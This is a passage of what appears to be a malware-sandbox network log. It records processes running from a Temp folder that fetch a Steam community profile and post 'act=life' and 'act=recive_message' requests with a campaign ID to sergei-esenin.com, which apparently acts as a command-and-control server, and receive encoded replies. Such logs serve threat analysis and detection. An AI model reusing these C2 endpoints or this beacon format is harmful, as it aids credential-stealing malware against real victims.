HttpOnly; SameSite=None
2024-10-21 08:47:29 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:29 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:47:29 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49989	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:29 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:47:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:47:30 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:47:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tc7tFFcVZEzc%2FnQd8r1bsTfpC7ayHp3FLfiw5rqAWeN9GsBY7%2BMJCjdVa57IfPxf60w%2FuruuORJHqhtlmmJlJIiyJPrXWVav7IEuguirgIJWMzVbktYDuOBKw6DrnYhSE7vEyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbb49a036c68-DFW
2024-10-21 08:47:30 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:47:30 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-21 08:47:30 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:47:30 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-21 08:47:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49998	104.102.49.254	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:31 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:32 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:31 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=3984d166d8d466f4ffad3dfd; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:47:32 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:32 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:47:32 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50001	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:31 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:47:31 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-21 08:47:32 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1onir748a0bvq5rgkk8f91l4r8; expires=Fri, 14 Feb 2025 02:34:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P6oPEEWVZxOc845CKhrzqkcsZerlV5crkKJ49dLNlZFhbHOEaIykfGu7%2FotA5OkRmp7GVdMFU7nYyMiHuS9C%2FIpwC%2ButaCHOYZpUQur1Q0Ejklt5EJTgHhilgjzI4tsMKdw0ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbbf39174648-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1075&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2676524&cwnd=32&unsent_bytes=0&cid=60431fc66b66f647&ts=419&x=0"
2024-10-21 08:47:32 UTC	354	IN	Data Raw: 31 64 39 35 0d 0a 33 31 49 54 76 76 46 6c 41 43 71 77 71 6c 31 47 45 4b 4a 65 6c 74 39 4c 72 54 4e 52 52 61 62 45 53 66 38 58 43 39 68 74 52 73 57 6b 63 47 57 63 79 31 45 73 43 4d 50 50 66 33 78 6b 30 43 76 7a 38 32 6e 4d 56 33 4e 2f 77 4b 55 6c 6a 48 49 6e 2b 68 73 72 35 2b 55 30 63 74 4b 43 41 43 77 49 31 64 4a 2f 66 45 76 5a 66 50 4f 78 61 5a 63 52 4e 43 2f 45 70 53 57 64 64 6d 43 33 48 53 71 6d 74 7a 35 30 31 70 51 47 5a 45 76 63 78 7a 67 6a 64 63 4d 30 2b 4c 59 6d 78 56 35 7a 61 59 53 68 4d 39 30 74 4b 5a 55 49 4d 71 53 53 4d 32 44 56 30 78 67 73 55 5a 4c 50 4d 32 51 71 67 44 2f 7a 76 53 66 4c 56 7a 6f 74 7a 71 77 74 6e 48 4e 68 71 41 51 67 72 62 63 77 64 39 65 65 44 33 42 47 31 73 41 7a 4a 58 2f 44 66 4c 72 39 4c 74 63 52 61 32 65 58 6c 43 69 4d 5a Data Ascii: 1d9531ITvvFlACqwql1GEKJelt9LrTNRRabESf8XC9htRsWkcGWcy1EsCMPPf3xk0Cvz82nMV3N/wKUljHIn+hsr5+U0ctKCACwI1dJ/fEvZfPOxaZcRNC/EpSWddmC3HSqmtz501pQGZEvcxzgjdcM0+LYmxV5zaYShM90tKZUIMqSSM2DV0xgsUZLPM2QqgD/zvSfLVzotzqwtnHNhqAQgrbcwd9eeD3BG1sAzJX/DfLr9LtcRa2eXlCiMZ
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 43 6d 4a 61 32 73 4d 30 49 57 44 4c 4e 66 6d 77 4b 63 4a 62 50 43 54 45 6f 53 47 58 65 6d 4f 2b 41 69 6d 68 76 54 41 78 6b 74 4d 41 65 67 69 4b 69 42 77 68 59 73 63 77 34 76 38 54 6a 30 35 39 50 6f 53 68 4a 39 30 74 4b 62 49 4b 4a 36 53 32 50 33 4c 55 6d 42 56 69 57 74 54 46 4f 6a 5a 30 78 54 4c 2b 76 6a 76 46 58 7a 55 6b 7a 61 30 69 6d 48 4a 74 2b 6b 46 6b 6f 4b 56 77 4b 5a 79 79 43 6d 6c 45 32 4e 38 2f 5a 47 32 4f 4a 62 53 36 4a 59 38 4a 63 79 50 46 6f 69 71 5a 65 32 65 2b 41 79 4b 70 73 44 39 33 31 70 4d 41 61 45 44 61 79 54 49 76 66 63 41 35 2b 62 6b 76 77 31 41 32 5a 34 72 6d 4c 49 55 31 4d 66 6f 68 49 36 53 76 63 6b 54 66 6e 51 6c 6c 58 70 4c 58 63 54 30 79 78 7a 43 30 35 57 6e 42 56 44 77 31 78 62 51 75 6b 32 64 6c 76 77 6b 70 70 4c 4d 77 64 4e 75 Data Ascii: CmJa2sM0IWDLNfmwKcJbPCTEoSGXemO+AimhvTAxktMAegiKiBwhYscw4v8Tj059PoShJ90tKbIKJ6S2P3LUmBViWtTFOjZ0xTL+vjvFXzUkza0imHJt+kFkoKVwKZyyCmlE2N8/ZG2OJbS6JY8JcyPFoiqZe2e+AyKpsD931pMAaEDayTIvfcA5+bkvw1A2Z4rmLIU1MfohI6SvckTfnQllXpLXcT0yxzC05WnBVDw1xbQuk2dlvwkppLMwdNu
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 70 4c 58 63 54 30 79 78 7a 43 30 35 57 6e 44 57 44 4d 73 7a 71 49 72 6d 6e 68 73 75 51 67 6e 71 72 6f 36 66 39 75 58 43 32 74 46 31 4d 67 34 49 48 66 53 4f 66 32 78 4a 59 38 66 63 79 44 63 35 6e 50 64 57 6d 36 73 44 41 75 6b 72 44 6b 78 77 39 30 65 49 6b 2f 65 69 47 64 6b 64 63 55 30 2f 37 73 68 7a 30 4d 32 4b 63 2b 6e 49 5a 74 30 5a 4c 59 4a 4a 4b 61 39 4e 6e 33 63 6c 41 42 77 57 74 66 4f 4c 53 34 79 6a 6e 7a 7a 70 57 6d 58 45 51 55 33 30 37 63 39 33 30 42 71 74 41 45 6a 73 66 30 76 50 38 58 54 41 47 34 49 69 6f 67 30 4a 48 37 48 4e 50 4b 35 49 63 42 65 4f 6a 58 46 71 69 57 50 63 6d 6d 7a 41 53 75 72 74 44 31 32 30 5a 67 4e 62 30 7a 56 79 58 39 71 4d 73 63 6b 74 4f 56 70 2b 55 45 2b 4b 2b 71 74 4a 35 51 31 64 76 51 57 5a 4b 43 78 63 43 6d 63 6c 77 74 71 Data Ascii: pLXcT0yxzC05WnDWDMszqIrmnhsuQgnqro6f9uXC2tF1Mg4IHfSOf2xJY8fcyDc5nPdWm6sDAukrDkxw90eIk/eiGdkdcU0/7shz0M2Kc+nIZt0ZLYJJKa9Nn3clABwWtfOLS4yjnzzpWmXEQU307c930BqtAEjsf0vP8XTAG4Iiog0JH7HNPK5IcBeOjXFqiWPcmmzASurtD120ZgNb0zVyX9qMscktOVp+UE+K+qtJ5Q1dvQWZKCxcCmclwtq
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 6f 68 64 73 63 34 38 72 4a 70 67 52 45 30 50 34 54 2b 61 37 4a 53 58 50 67 75 48 75 65 69 66 6d 69 63 6c 41 73 69 45 4a 4c 45 50 43 68 36 7a 7a 72 39 73 53 50 47 57 6a 38 73 77 4b 6f 69 6d 48 4e 6f 76 77 6f 6c 6f 37 45 36 64 39 2b 51 43 47 31 48 32 6f 68 78 5a 48 58 59 66 4b 7a 39 44 4e 68 61 50 53 47 45 75 57 57 45 4e 57 36 32 54 33 7a 6e 73 54 6c 33 32 70 59 4c 59 30 37 61 7a 54 63 67 63 38 59 36 39 37 49 74 79 6c 41 38 49 38 69 6f 49 5a 78 30 5a 62 45 41 4c 36 4c 39 66 6a 48 62 69 30 63 36 43 4f 50 4c 4b 54 4e 69 7a 48 7a 72 38 7a 43 50 56 6a 39 6e 6e 4f 59 71 6a 33 39 6a 74 41 6f 72 6f 72 34 2f 64 74 47 56 43 32 68 42 32 73 34 77 4c 57 44 44 4d 50 71 36 4a 38 4e 66 50 69 33 48 71 32 76 54 4e 57 36 69 54 33 7a 6e 6b 54 64 38 38 70 67 4c 5a 51 6a 4e 68 Data Ascii: ohdsc48rJpgRE0P4T+a7JSXPguHueifmiclAsiEJLEPCh6zzr9sSPGWj8swKoimHNovwolo7E6d9+QCG1H2ohxZHXYfKz9DNhaPSGEuWWENW62T3znsTl32pYLY07azTcgc8Y697ItylA8I8ioIZx0ZbEAL6L9fjHbi0c6COPLKTNizHzr8zCPVj9nnOYqj39jtAoror4/dtGVC2hB2s4wLWDDMPq6J8NfPi3Hq2vTNW6iT3znkTd88pgLZQjNh
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 41 4f 2b 7a 39 63 59 39 6e 4e 44 66 55 70 57 6d 73 59 32 71 73 42 43 6d 72 2f 53 38 2f 78 64 4d 41 62 67 69 4b 69 44 6b 72 65 38 4d 7a 39 62 51 6c 77 6c 51 36 49 73 57 67 4c 35 64 2f 61 62 77 4a 4a 61 4b 33 4d 33 44 57 6d 67 42 71 54 39 48 61 66 32 6f 79 78 79 53 30 35 57 6e 6d 56 69 45 70 31 4f 59 30 30 32 77 70 76 51 4e 6b 2f 2f 30 30 65 39 4f 58 41 47 35 4f 31 38 34 79 4a 58 33 42 50 50 75 35 49 73 5a 58 4d 69 72 42 71 79 2b 50 66 32 4b 31 41 79 32 72 73 48 41 2f 6e 4a 51 66 49 68 43 53 2b 54 49 71 66 4d 63 71 74 4b 4a 6e 31 68 45 30 4b 34 54 2b 61 35 78 35 5a 72 6b 41 4a 36 53 38 4f 6d 50 4f 6e 77 35 71 54 64 37 44 4d 53 4a 67 78 6a 50 39 76 69 72 47 56 6a 73 72 7a 71 55 73 33 54 73 70 76 52 64 6b 2f 2f 30 54 5a 73 79 65 52 33 30 47 79 34 67 34 4b 44 Data Ascii: AO+z9cY9nNDfUpWmsY2qsBCmr/S8/xdMAbgiKiDkre8Mz9bQlwlQ6IsWgL5d/abwJJaK3M3DWmgBqT9Haf2oyxyS05WnmViEp1OY002wpvQNk//00e9OXAG5O184yJX3BPPu5IsZXMirBqy+Pf2K1Ay2rsHA/nJQfIhCS+TIqfMcqtKJn1hE0K4T+a5x5ZrkAJ6S8OmPOnw5qTd7DMSJgxjP9virGVjsrzqUs3TspvRdk//0TZsyeR30Gy4g4KD
